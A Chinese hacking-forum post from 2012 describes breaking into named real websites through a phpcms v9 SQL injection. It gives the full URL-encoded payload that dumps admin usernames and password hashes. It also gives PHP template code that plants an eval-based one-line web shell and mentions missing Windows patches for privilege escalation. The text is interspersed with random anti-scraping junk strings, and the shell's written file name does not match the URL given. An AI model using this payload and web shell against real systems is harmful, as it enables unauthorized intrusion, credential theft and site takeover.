利用phpcms v9 0day拿shell

admin · 发表于 2012-12-20 08:44:41

期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。

Author：夜行人

From：F4ck Team

目标站：http://www.ipucom.com/

旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞

百度一下找到该漏洞的利用方法。

直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名

api.php?op=add_favorite&url=xx.oo&title=%2527* o2 `# g  I. f  m

# z$ ^# b: P* U4 c. n# f4 m. s9 Q6 a3 H. O! \, h+ y9 a
                              ; e- s/ _. ~" h5 E9 G

0 ~. ?, P# \9 O. s; i+ ~+ M                                                          $ S" |! G# l$ g

5 x2 N; `2 H" x. |! a: _- z( K
& I, _( f% C! W5 Q3 [& s
- x. X0 L  d) i9 I/ R, o! J. w: P* \

6 G  ?3 m  M/ w% [
# ]9 a. `9 F! d: _

这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名

api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%

2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select

%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C

password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from

%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables

%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from

%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and

%2520%25271%2527%253D%25271

( w- Z# P! [) d6 u, T5 A" ?
" q% t% m- S% v/ [( G+ n+ e2 \4 x6 C& o" ~' L3 n0 G7 {
0 X& B8 c v( c' k7 C7 g

帐号密码就出来了，md5解密一下就行了

进入后台, 界面 > 模板管理 > 模板风格 >
; ?( |& g" F3 o; {- Z - r5 ~1 e* h6 E4 ?
* n2 X* F0 Q/ z# |
                                             / F# j, n1 U. n; h2 M
  C6 N! r/ G: D* D
0 ~. g1 i0 O+ [! G1 @

! q5 ~0 }. Z  }2 _3 o6 M" g' T0 p* _8 E7 @$ ^6 d2 P2 V
- _9 X- e3 ~" ~* \# R( w$ W

点击后面的修改，然后把一下代码复制上去保存

<?

$fp = @fopen("c.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n");

@fclose($fp);

?>7 N- C$ |  T8 C" ?0 K, T1 W: s

, H; U& o( x! {' e5 i
& p4 p- n0 m/ N" w; Z$ L  ^$ [
0 ~. g& C& ], W* v0 y( N" ^% r8 K( n6 r4 g1 g

' V9 Z0 I4 B( o; r7 R3 n% g8 D( Y9 c7 A- [/ q) M9 @& k
1 G2 r$ X# F  m( F8 {6 s: D
1 h1 N4 X, R% d) Q- i5 e: x: S
8 q% V# h% Q% N% _; ~2 v1 q& U+ r% a5 z

( r5 L& ^/ ?, l2 [! k& K

提交后可视化一下2 n7 s( O3 }# R! d" q; I

! m$ O- j3 i4 y4 q4 |6 `# y

在网站的根目录就生成了你的一句话木马客户端

http://www.zhongyitong.com/f4ck.php

然后通过控制端连上去就行了。。。

提权貌似很简单，看了下systeminfo

发现没有

KB2503665

KB2592799

		自动登录	找回密码
密码			立即注册

利用phpcms v9 0day拿shell

本帖子中包含更多资源